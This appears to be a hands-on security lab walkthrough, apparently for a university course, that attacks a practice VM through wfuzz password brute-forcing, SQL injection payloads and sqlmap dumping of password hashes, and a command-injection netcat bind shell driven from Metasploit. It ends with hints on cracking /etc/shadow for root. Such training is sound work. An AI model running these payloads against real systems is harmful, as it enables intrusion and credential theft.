0. SETUP

- Download and install VirtualBox 6.1 https://www.virtualbox.org/
- Once Virtualbox is installed, download the VirtualBox Expansion Pack from this address : https://download.virtualbox.org/virtualbox/6.1.2/Oracle_VM_VirtualBox_Extension_Pack-6.1.2.vbox-extpack
- To install the expansion pack just click on it, Virtualbox will open and install it
- Download the Kali VM from this link https://transvol.sgsi.ucl.ac.be/download.php?id=22efde628474f7f4
- Once downloaded, click on it VirtualBox will open, just click on the “Import” button.
- When imported,
- Log into kali with the login/password kali/kali
- Open a terminal

1. FINDING SERVICES

- The nmap utility scans an IP’s ports to find open ports and thus running services.
- Run nmap on the IP 172.17.0.2
- The results should show you that 3 services are running :
    - SSH (port 22)
    - HTTP (port 80)
    - HTTPS (port 443)
- We don’t have enough information yet to attack SSH, so let’s focus on HTTP first.
- Open Firefox and type the address 172.17.0.2
- You should be presented with a website

2. BRUTEFORCING

- Click on “My Cats pictures”
- The website will ask you for a password
- Enter a random password to see what’s happening
- Unless you’re super lucky, the website should tell you that the password is incorrect.
- Examine the URL, it should look like “http://172.17.0.2/gallery.php?password=THE_PASS_YOU_TRIED&Login=Login#”
- You could then see that the “password” argument is the password you entered, change that parameter and test again
- To make this process faster, the wfuzz utility will do exactly that, but fast
- In the terminal, type wfuzz and you’ll be presented with a short explanation
- We suggest using wfuzz to perform a dictionary attack. A good dictionary can be found at /usr/share/wfuzz/wordlist/others/common_pass.txt

- Run wfuzz with this dictionary (wordlist) on the URL of the website, don't forget to replace the argument value by "FUZZ" (this value will be replaced by the password wfuzz is currently trying).
- Now, observe the output of wfuzz, it will give you the HTTP return code (normally 200 / OK) and the number of characters, lines and words on the page it received while trying that password. The "Incorrect Password" page contains 10 Lines and 37 Words.
- Look if one line is different, meaning that that password has got a different result
- Try that password on the website.
- If all went well, you should have obtained the password by "bruteforcing" it.

---

2. SQL INJECTION

- Click on "Cats database"
- Enter the ID of a cat to see it's information. Let's use 1 as example. You can try other number too.
- Now think about the SQL Query that must be executed to look into that database. When you have a clear idea, look at the next line.
- The query used is most likely something like "SELECT * FROM cats WHERE id=PARAM"
- SQL commands support operators like AND or OR. Try to use a OR to dump the content of the whole table. When you're done read the next line.
- Using a OR you can dump the whole table by using the query "SELECT * FROM cats WHERE id=1 OR 1=1". This query works because the OR condition is always true, so every entry in the database is selected and returned.
- Now that we know that we can inject commands, we can try some more interesting commands like "1 or 1=0 union select null, user() #". This command will give you the username used to connect to the database.
- Now we would like to know if some information about our cats are hidden. For instance, their microchip is probably there but hidden. Let's see if we can display it.
- First, let's find the name of the table used to store our cats. "cats" is probably a good guess but let's check it by using "1 and 1=0 union select null, table_name from information_schema.tables where table_name like 'cats%'#" as an input.
- The answer should show you "cats" next to the birth date, meaning that a table cats exists (you can try with other names).
- Now that we're sure that our table is called "cats" let's try to find the name of the rows by using the input "1 and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'cats' #". The result of this command will show you that this table has 4 rows: id, name, birth_date and chip. Great our chip id is here and called chip.
- Let's now obtain the chip id of all our cats by using th input "1 and 1=0 union select null, concat(name,0x0a,birth_date,0x0a,chip) from cats #".
- Well! Are we done? Not really. As we've seen, an SQL Injection allow to read data we aren't supposed to read. But what's interesting is if the user used by the website

has admin privileges, we could even try to read the informations about other databases or SQL users. But these queries are pretty complex, so let's use a tool for that

- In the terminal, type sqlmap
- SQLMap is a tool that will perform SQL injections for you, so let's try it.
- Run sqlmap with the command sqlmap -u "http://172.17.0.2/cats.php?id=1&Submit=Submit" --string="Name" --users --password
- When asked, just press enter for all the questions sqlmap asks you
- SQLMap will first scan the database for injectable parameters. Then, it will extract (if possible) a list of the users and their hashed password. Upon success, sqlmap will try a bruteforce attack on the hashed passwords it extracted.
- When done, sqlmap should show you the login and passwords of several SQL users, write them done this could be useful.
- Optionnal: run the command sqlmap -u "http://172.17.0.2/cats.php?id=1&Submit=Submit" --string="Name" --dbs
  this command should give you the list of all the databases. One is called phpmyadmin? That's interesting. PHPMyadmin is a tool to manager SQL databases. Try the URL http://172.17.0.2/phpmyadmin/ and try the admin password you found previously. You should have access to all the databases and their content.

---

3. COMMAND INJECTION

- Go to the "Ping Utility" web page
- This page allows you to enter an IP address (let's say 8.8.8.8) and see the result of the command.
- Try it with the IP 8.8.8.8
- Is it possible to make this website run another command? Think about it and about how bash works and try it. When you're done, go to the next line.
- An interesting thing about bash, is that you can "chain" commands by using the character ";". For instance, of you type echo "hello"; echo "world" in your terminal, it will execute echo "hello" first and then echo "world".
- Can we leverage this here? Let's try! Let's try to see what's inside the / directory by inputting 8.8.8.8; ls /
- You should see that the website is going to answer to the ping first, then you'll get the content of the / directory.
- Can we see the content of a file? Sure, why not! Use the cat command to see the content of any file.
- This is powerful, but bothering because relatively slow. It would be easier to have a bash terminal right? We can do that!
- Let's try to open a netcat on the machine so we can directly connect to it. For that use this input 8.8.8.8; mkfifo /tmp/pipe;sh /tmp/pipe | nc -l -p 1234 > /tmp/pipe

- This command is a bit complicated, but we basically tell netcat (nc) to listen on the port 1234 for a TCP connection, and we will communicate with a named pipe so the traffic can go both ways.
- The website will load indefinitely, it's expected, netcat is listening on the port 1234 and waiting for a connection, thus not returning yet.
- In the terminal open Metasploit by typing msfconsole
- Type use multi/handler
- What we need now is an exploit that's going to connect to the netcat we just opened, and translate the commands we send into bash command. To do that type set PAYLOAD linux/x86/shell/bind_tcp
- This will select the "bind_tcp" that spawns pipe command shell
- Type show options
- The options available are LPORT (for the listening port, we chose 1234 here) and RHOST (remote host, 172.17.0.2 in our case)
- Set the parameters by typing set LPORT 1234 and then set RHOST 172.17.0.2
- When this is done type the command exploit
- Metasploit will then connect to the netcat we opened, you can now try to type some linux commands into the shell (the rm command is discouraged :))
- An interesting command would be the command to look into the users of the system
- In Linux, the users are stored in /etc/passwd
- Try to type the command cat /etc/passwd
- This command should show you the list of the users of the system, inspect it
- If you look closely, there's a user called "site". Did we already see this username before?
- Yes we did! In the SQLMap part, when we dumped the content of the databases users, we found a user called "site" and its password. This was its password for the SQL server though.
- Did our "site" user re-use the same password for the system? Let's see !
- As we've seen at the beginning, an ssh server is listening on our server. Now that we have a login and a password, let's try to use them to connect to the SSH server!
- Exit Metasploit by typing CTRL-C and then exit
- Type ssh site@172.17.0.2
- When asked for the password, use the password you dumped from the db :)
- Bingo! The user re-used the same password, we now have SSH access, we don't need our metasploit anymore.
- Optional: Being a user is cool, but couldn't we go further and try to become root ? Yes we do! To do that, look at the examples in this week's slides. There's an example where a user gets access to other users password.
  Hints:
    - In Linux, /etc/passwd contains the users, /etc/shadow contains the hashed passwords
    - You can't access /etc/shadow unless you're root
    - python is often allowed to run as root, and it's a very bad practice
    - /usr/sbin/john is an utility that bruteforce password files
    - /usr/sbin/unshadow is a commands that merges the result of /etc/passwd and /etc/shadow to put them in a format readable by john